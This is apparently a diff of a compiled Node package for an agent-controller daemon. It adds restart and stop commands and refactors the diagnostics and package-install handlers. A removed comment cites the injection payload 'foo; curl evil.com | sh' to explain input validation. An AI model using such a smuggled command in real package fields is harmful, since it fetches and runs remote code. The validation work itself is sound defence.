I,CAAC;QACjC,OAAO,EAAE,EAAE,EAAE,OAAO,EAAE,CAAC;IACzB,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,kBAAkB,CAAC,IAAc;IACrD,MAAM,MAAM,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC;IAC/B,IAAI,CAAC,MAAM,EAAE,CAAC;QACZ,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IACD,MAAM,EAAE,EAAE,EAAE,OAAO,EAAE,GAAG,MAAM,CAAC;IAE/B,YAAY,EAAE,IAAI,CAAC,yBAAyB,EAAE,MAAM,EAAE,2BAA2B,EAAE;QACjF,EAAE;QACF,OAAO;KACR,CAAC,CAAC;IAEH,IAAI,CAAC;QACH,OAAO,CAAC,GAAG,CAAC,8BAA8B,EAAE,IAAI,OAAO,KAAK,CAAC,CAAC;QAC9D,MAAM,SAAS,GAAG,MAAM,aAAa,CAAC,EAAE,EAAE,OAAO,CAAC,CAAC;QAEnD,IAAI,CAAC,SAAS,EAAE,CAAC;YACf,OAAO,CAAC,GAAG,CAAC,mBAAmB,EAAE,IAAI,OAAO,mCAAmC,CAAC,CAAC;YACjF,OAAO,CAAC,GAAG,CAAC,sBAAsB,CAAC,CAAC;YACpC,OAAO;QACT,CAAC;QAED,wEAAwE;QACxE,OAAO,CAAC,GAAG,CAAC,oEAAoE,CAAC,CAAC;QAClF,OAAO,CAAC,GAAG,CAAC,sBAAsB,CAAC,CAAC;IACtC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,2BAA2B,GAAG,EAAE,CAAC,CAAC;QAChD,YAAY,EAAE,IAAI,CAAC,0BAA0B,EAAE,OAAO,EAAE,0BAA0B,EAAE;YAClF,EAAE;YACF,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;QACH,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function runRestartCli(): Promise<void>;
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
import { restartGateway } from '../utils/gateway-restart.js';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
3
|
+
import { toErrorMessage } from '../utils/response.js';
|
|
4
|
+
// ---------------------------------------------------------------------------
|
|
5
|
+
// CLI entrypoint for `agent-controller restart`. Mirrors the WS handler at
|
|
6
|
+
// src/handlers/restart.ts: best-effort gateway restart with structured stdout.
|
|
7
|
+
// ---------------------------------------------------------------------------
|
|
8
|
+
export async function runRestartCli() {
|
|
9
|
+
console.log('[restart] restarting openclaw gateway...');
|
|
10
|
+
logCollector?.push('restart_cli_start', 'info', 'restart CLI invoked', {});
|
|
11
|
+
try {
|
|
12
|
+
const { stdout, stderr } = await restartGateway();
|
|
13
|
+
if (stdout)
|
|
14
|
+
console.log(stdout);
|
|
15
|
+
if (stderr)
|
|
16
|
+
console.error(stderr);
|
|
17
|
+
console.log('[restart] done');
|
|
18
|
+
}
|
|
19
|
+
catch (err) {
|
|
20
|
+
const msg = toErrorMessage(err);
|
|
21
|
+
console.error(`[restart] failed: ${msg}`);
|
|
22
|
+
logCollector?.push('restart_cli_failed', 'error', 'restart CLI failed', { error: msg });
|
|
23
|
+
process.exit(1);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
//# sourceMappingURL=restart-cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"restart-cli.js","sourceRoot":"","sources":["../../src/commands/restart-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,2EAA2E;AAC3E,+EAA+E;AAC/E,8EAA8E;AAE9E,MAAM,CAAC,KAAK,UAAU,aAAa;IACjC,OAAO,CAAC,GAAG,CAAC,0CAA0C,CAAC,CAAC;IACxD,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,qBAAqB,EAAE,EAAE,CAAC,CAAC;IAE3E,IAAI,CAAC;QACH,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,MAAM,cAAc,EAAE,CAAC;QAClD,IAAI,MAAM;YAAE,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QAChC,IAAI,MAAM;YAAE,OAAO,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;QAClC,OAAO,CAAC,GAAG,CAAC,gBAAgB,CAAC,CAAC;IAChC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,qBAAqB,GAAG,EAAE,CAAC,CAAC;QAC1C,YAAY,EAAE,IAAI,CAAC,oBAAoB,EAAE,OAAO,EAAE,oBAAoB,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QACxF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}
|
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Internal seam — wraps `process.kill` so tests can swap in a stub without
|
|
3
|
+
* mocking the global. Exported for testing only.
|
|
4
|
+
*/
|
|
5
|
+
export declare const _killProcess: (pid: number, signal: NodeJS.Signals) => void;
|
|
6
|
+
export declare function runStopCli(): Promise<void>;
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
import { isLockFilePresent, readLockFilePid } from '../lockfile.js';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
3
|
+
import { toErrorMessage } from '../utils/response.js';
|
|
4
|
+
// ---------------------------------------------------------------------------
|
|
5
|
+
// CLI entrypoint for `agent-controller stop`. The WS handler at
|
|
6
|
+
// src/handlers/stop.ts gracefully shuts down the running agent-controller
|
|
7
|
+
// process — the CLI can't do that directly because it's a separate
|
|
8
|
+
// short-lived process, so we signal the running daemon instead.
|
|
9
|
+
//
|
|
10
|
+
// Strategy (option B from the design discussion):
|
|
11
|
+
// 1. Read the lockfile (~/.openclaw/agent-controller/agent-controller.lock
|
|
12
|
+
// or /opt/openclaw-cloud/agent-controller/agent-controller.lock) to
|
|
13
|
+
// find the daemon PID.
|
|
14
|
+
// 2. Send SIGTERM. The daemon's normal shutdown path runs.
|
|
15
|
+
// 3. Exit 0 once the signal is sent — we don't wait for the daemon to
|
|
16
|
+
// actually exit because the supervisor (systemd/launchd/k8s) will
|
|
17
|
+
// decide whether to restart it.
|
|
18
|
+
//
|
|
19
|
+
// Failure modes:
|
|
20
|
+
// - No lockfile / daemon not running → exit 0 with a "not running" log
|
|
21
|
+
// - Lockfile exists but PID is gone (stale) → exit 0, hint to remove lock
|
|
22
|
+
// - kill(pid, SIGTERM) throws → exit 1 (permission, etc.)
|
|
23
|
+
// ---------------------------------------------------------------------------
|
|
24
|
+
const STOP_SIGNAL = 'SIGTERM';
|
|
25
|
+
/**
|
|
26
|
+
* Internal seam — wraps `process.kill` so tests can swap in a stub without
|
|
27
|
+
* mocking the global. Exported for testing only.
|
|
28
|
+
*/
|
|
29
|
+
export const _killProcess = (pid, signal) => {
|
|
30
|
+
process.kill(pid, signal);
|
|
31
|
+
};
|
|
32
|
+
export async function runStopCli() {
|
|
33
|
+
logCollector?.push('stop_cli_start', 'info', 'stop CLI invoked', {});
|
|
34
|
+
if (!isLockFilePresent()) {
|
|
35
|
+
console.log('[stop] agent-controller is not running (no lock file found)');
|
|
36
|
+
return;
|
|
37
|
+
}
|
|
38
|
+
const pid = readLockFilePid();
|
|
39
|
+
if (pid === null) {
|
|
40
|
+
console.log('[stop] lock file present but PID could not be read — daemon may have crashed; ' +
|
|
41
|
+
'remove the lock file manually if you are sure no controller is running');
|
|
42
|
+
return;
|
|
43
|
+
}
|
|
44
|
+
console.log(`[stop] sending ${STOP_SIGNAL} to agent-controller (pid ${pid})...`);
|
|
45
|
+
try {
|
|
46
|
+
_killProcess(pid, STOP_SIGNAL);
|
|
47
|
+
}
|
|
48
|
+
catch (err) {
|
|
49
|
+
const e = err;
|
|
50
|
+
if (e.code === 'ESRCH') {
|
|
51
|
+
console.log(`[stop] process ${pid} not found — daemon already exited; lock file may be stale`);
|
|
52
|
+
return;
|
|
53
|
+
}
|
|
54
|
+
const msg = toErrorMessage(err);
|
|
55
|
+
console.error(`[stop] failed to signal pid ${pid}: ${msg}`);
|
|
56
|
+
logCollector?.push('stop_cli_failed', 'error', 'stop CLI failed', { pid, error: msg });
|
|
57
|
+
process.exit(1);
|
|
58
|
+
}
|
|
59
|
+
console.log(`[stop] signal delivered to pid ${pid}`);
|
|
60
|
+
console.log('[stop] done');
|
|
61
|
+
}
|
|
62
|
+
//# sourceMappingURL=stop-cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"stop-cli.js","sourceRoot":"","sources":["../../src/commands/stop-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,iBAAiB,EAAE,eAAe,EAAE,MAAM,gBAAgB,CAAC;AACpE,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,gEAAgE;AAChE,0EAA0E;AAC1E,mEAAmE;AACnE,gEAAgE;AAChE,EAAE;AACF,kDAAkD;AAClD,6EAA6E;AAC7E,yEAAyE;AACzE,4BAA4B;AAC5B,6DAA6D;AAC7D,wEAAwE;AACxE,uEAAuE;AACvE,qCAAqC;AACrC,EAAE;AACF,iBAAiB;AACjB,yEAAyE;AACzE,4EAA4E;AAC5E,4DAA4D;AAC5D,8EAA8E;AAE9E,MAAM,WAAW,GAAmB,SAAS,CAAC;AAE9C;;;GAGG;AACH,MAAM,CAAC,MAAM,YAAY,GAAG,CAAC,GAAW,EAAE,MAAsB,EAAQ,EAAE;IACxE,OAAO,CAAC,IAAI,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;AAC5B,CAAC,CAAC;AAEF,MAAM,CAAC,KAAK,UAAU,UAAU;IAC9B,YAAY,EAAE,IAAI,CAAC,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,EAAE,CAAC,CAAC;IAErE,IAAI,CAAC,iBAAiB,EAAE,EAAE,CAAC;QACzB,OAAO,CAAC,GAAG,CAAC,6DAA6D,CAAC,CAAC;QAC3E,OAAO;IACT,CAAC;IAED,MAAM,GAAG,GAAG,eAAe,EAAE,CAAC;IAC9B,IAAI,GAAG,KAAK,IAAI,EAAE,CAAC;QACjB,OAAO,CAAC,GAAG,CACT,gFAAgF;YAC9E,wEAAwE,CAC3E,CAAC;QACF,OAAO;IACT,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,kBAAkB,WAAW,6BAA6B,GAAG,MAAM,CAAC,CAAC;IACjF,IAAI,CAAC;QACH,YAAY,CAAC,GAAG,EAAE,WAAW,CAAC,CAAC;IACjC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,CAAC,GAAG,GAA4B,CAAC;QACvC,IAAI,CAAC,CAAC,IAAI,KAAK,OAAO,EAAE,CAAC;YACvB,OAAO,CAAC,GAAG,CACT,kBAAkB,GAAG,4DAA4D,CAClF,CAAC;YACF,OAAO;QACT,CAAC;QACD,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,+BAA+B,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QAC5D,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,OAAO,EAAE,iBAAiB,EAAE,EAAE,GAAG,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QACvF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,kCAAkC,GAAG,EAAE,CAAC,CAAC;IACrD,OAAO,CAAC,GAAG,CAAC,aAAa,CAAC,CAAC;AAC7B,CAAC"}
|
|
@@ -1,27 +1,5 @@
|
|
|
1
|
-
import { exec } from 'node:child_process';
|
|
2
1
|
import { logCollector } from '../connection.js';
|
|
3
|
-
|
|
4
|
-
const ALLOWED_CHECKS = {
|
|
5
|
-
disk_usage: 'df -h',
|
|
6
|
-
memory_info: 'free -m || vm_stat',
|
|
7
|
-
uptime: 'uptime',
|
|
8
|
-
gateway_status: 'openclaw gateway status --json',
|
|
9
|
-
node_version: 'node --version',
|
|
10
|
-
controller_version: 'npm list -g @openclaw-cloud/agent-controller --depth=0',
|
|
11
|
-
processes: 'ps aux --sort=-rss | head -20',
|
|
12
|
-
};
|
|
13
|
-
function runCheck(cmd) {
|
|
14
|
-
return new Promise((resolve) => {
|
|
15
|
-
exec(cmd, { timeout: DIAGNOSTICS_TIMEOUT }, (error, stdout, stderr) => {
|
|
16
|
-
resolve({
|
|
17
|
-
stdout: stdout.toString(),
|
|
18
|
-
stderr: stderr.toString(),
|
|
19
|
-
success: !error,
|
|
20
|
-
...(error ? { error: error.message } : {}),
|
|
21
|
-
});
|
|
22
|
-
});
|
|
23
|
-
});
|
|
24
|
-
}
|
|
2
|
+
import { runDiagnostics } from '../utils/diagnostics.js';
|
|
25
3
|
export async function handleDiagnostics(command) {
|
|
26
4
|
const startMs = Date.now();
|
|
27
5
|
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
@@ -38,15 +16,7 @@ export async function handleDiagnostics(command) {
|
|
|
38
16
|
error: 'Missing "checks" array in payload',
|
|
39
17
|
};
|
|
40
18
|
}
|
|
41
|
-
const results =
|
|
42
|
-
for (const key of checks) {
|
|
43
|
-
const cmd = ALLOWED_CHECKS[key];
|
|
44
|
-
if (!cmd) {
|
|
45
|
-
results[key] = { error: 'Unknown check' };
|
|
46
|
-
continue;
|
|
47
|
-
}
|
|
48
|
-
results[key] = await runCheck(cmd);
|
|
49
|
-
}
|
|
19
|
+
const results = await runDiagnostics(checks);
|
|
50
20
|
const durationMs = Date.now() - startMs;
|
|
51
21
|
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
52
22
|
commandId: command.id,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,OAAqB;IAC3D,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC,MAA8B,CAAC;IAE9D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAClD,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;QACxC,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,4CAA4C,EAC3D,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;QACF,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,aAAa;YACnB,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,mCAAmC;SAC3C,CAAC;IACJ,CAAC;IAED,MAAM,OAAO,GAAG,MAAM,cAAc,CAAC,MAAM,CAAC,CAAC;IAE7C,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,UAAU;KACX,CAAC,CAAC;IACH,OAAO;QACL,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,aAAa;QACnB,OAAO,EAAE,IAAI;QACb,IAAI,EAAE,EAAE,OAAO,EAAE;KAClB,CAAC;AACJ,CAAC"}
|
|
@@ -1,30 +1,5 @@
|
|
|
1
|
-
import { exec } from 'node:child_process';
|
|
2
|
-
import { toErrorMessage } from '../utils/response.js';
|
|
3
1
|
import { logCollector } from '../connection.js';
|
|
4
|
-
|
|
5
|
-
/**
|
|
6
|
-
* Only allow characters that are valid in real package names on apt/npm/pip.
|
|
7
|
-
* This intentionally rejects shell metacharacters (;, |, &, $, `, (, ), <, >, space, …)
|
|
8
|
-
* so that a malicious payload like "foo; curl evil.com | sh" is rejected before
|
|
9
|
-
* it can ever reach the shell.
|
|
10
|
-
*
|
|
11
|
-
* Allowed: letters, digits, @, ., _, /, -, +, :, % (covers npm scopes, semver
|
|
12
|
-
* ranges like "pkg@^1.2", apt epoch prefixes like "2:pkg", pip extras "pkg[extra]")
|
|
13
|
-
*/
|
|
14
|
-
const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
|
|
15
|
-
function isSafePackageName(name) {
|
|
16
|
-
return SAFE_PACKAGE_NAME_RE.test(name);
|
|
17
|
-
}
|
|
18
|
-
function execPackage(cmd, timeoutMs) {
|
|
19
|
-
return new Promise((resolve, reject) => {
|
|
20
|
-
exec(cmd, { timeout: timeoutMs }, (error) => {
|
|
21
|
-
if (error)
|
|
22
|
-
reject(error);
|
|
23
|
-
else
|
|
24
|
-
resolve();
|
|
25
|
-
});
|
|
26
|
-
});
|
|
27
|
-
}
|
|
2
|
+
import { INSTALL_TIMEOUT_MS, installOnePackage, } from '../utils/package-install.js';
|
|
28
3
|
export async function handlePackageInstall(command) {
|
|
29
4
|
const packages = command.payload.packages;
|
|
30
5
|
const apt = packages?.apt ?? [];
|
|
@@ -47,28 +22,23 @@ export async function handlePackageInstall(command) {
|
|
|
47
22
|
const installed = { apt: [], npm: [], pip: [] };
|
|
48
23
|
const errors = [];
|
|
49
24
|
const deadline = Date.now() + INSTALL_TIMEOUT_MS;
|
|
50
|
-
async function tryInstall(pkg,
|
|
51
|
-
// Reject package names containing shell metacharacters before they reach exec().
|
|
52
|
-
if (!isSafePackageName(pkg)) {
|
|
53
|
-
errors.push({ name: pkg, error: 'Invalid package name: contains disallowed characters' });
|
|
54
|
-
return;
|
|
55
|
-
}
|
|
25
|
+
async function tryInstall(pkg, manager) {
|
|
56
26
|
const remaining = deadline - Date.now();
|
|
57
27
|
if (remaining <= 0) {
|
|
58
28
|
errors.push({ name: pkg, error: 'Install timeout exceeded' });
|
|
59
29
|
return;
|
|
60
30
|
}
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
installed[
|
|
31
|
+
const result = await installOnePackage(manager, pkg, remaining);
|
|
32
|
+
if (result.ok) {
|
|
33
|
+
installed[manager].push(pkg);
|
|
64
34
|
}
|
|
65
|
-
|
|
66
|
-
errors.push({ name: pkg, error:
|
|
35
|
+
else {
|
|
36
|
+
errors.push({ name: pkg, error: result.error ?? 'unknown error' });
|
|
67
37
|
}
|
|
68
38
|
}
|
|
69
39
|
// apt: sequential — apt-get uses a global lock that prevents concurrent invocations
|
|
70
40
|
for (const pkg of apt) {
|
|
71
|
-
await tryInstall(pkg,
|
|
41
|
+
await tryInstall(pkg, 'apt');
|
|
72
42
|
}
|
|
73
43
|
// npm and pip: parallel within each type — independent registries, no global lock
|
|
74
44
|
await Promise.all(npm.map(async (pkg) => {
|
|
@@ -78,7 +48,7 @@ export async function handlePackageInstall(command) {
|
|
|
78
48
|
package: pkg,
|
|
79
49
|
});
|
|
80
50
|
const prevErrors = errors.length;
|
|
81
|
-
await tryInstall(pkg,
|
|
51
|
+
await tryInstall(pkg, 'npm');
|
|
82
52
|
if (errors.length > prevErrors) {
|
|
83
53
|
logCollector?.push('package_install_step', 'error', `npm: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
|
|
84
54
|
commandId: command.id,
|
|
@@ -94,7 +64,7 @@ export async function handlePackageInstall(command) {
|
|
|
94
64
|
package: pkg,
|
|
95
65
|
});
|
|
96
66
|
const prevErrors = errors.length;
|
|
97
|
-
await tryInstall(pkg,
|
|
67
|
+
await tryInstall(pkg, 'pip');
|
|
98
68
|
if (errors.length > prevErrors) {
|
|
99
69
|
logCollector?.push('package_install_step', 'error', `pip: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
|
|
100
70
|
commandId: command.id,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"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"}
|
|
@@ -7,8 +7,12 @@ import type { AgentCommand, AgentResponse } from '../types.js';
|
|
|
7
7
|
* 1. Validate payload (return success:false on bad input — never throw).
|
|
8
8
|
* 2. installPlugin(id, version). The helper skip-fast when the requested
|
|
9
9
|
* version is already installed.
|
|
10
|
-
*
|
|
11
|
-
*
|
|
12
|
-
*
|
|
10
|
+
*
|
|
11
|
+
* NOTE — no explicit gateway restart. Plugin install writes the new
|
|
12
|
+
* `plugins.installs.<id>.{spec,version,resolvedVersion,...}` keys into
|
|
13
|
+
* the openclaw config; openclaw watches the config file and reloads
|
|
14
|
+
* itself when those keys change (deferring until in-flight task runs
|
|
15
|
+
* complete). Calling restartGateway() here would be redundant and, in
|
|
16
|
+
* the worst case, race openclaw's own reload.
|
|
13
17
|
*/
|
|
14
18
|
export declare function handlePluginUpdate(cmd: AgentCommand): Promise<AgentResponse>;
|
|
@@ -1,7 +1,6 @@
|
|
|
1
1
|
import { logCollector } from '../connection.js';
|
|
2
2
|
import { toErrorMessage } from '../utils/response.js';
|
|
3
3
|
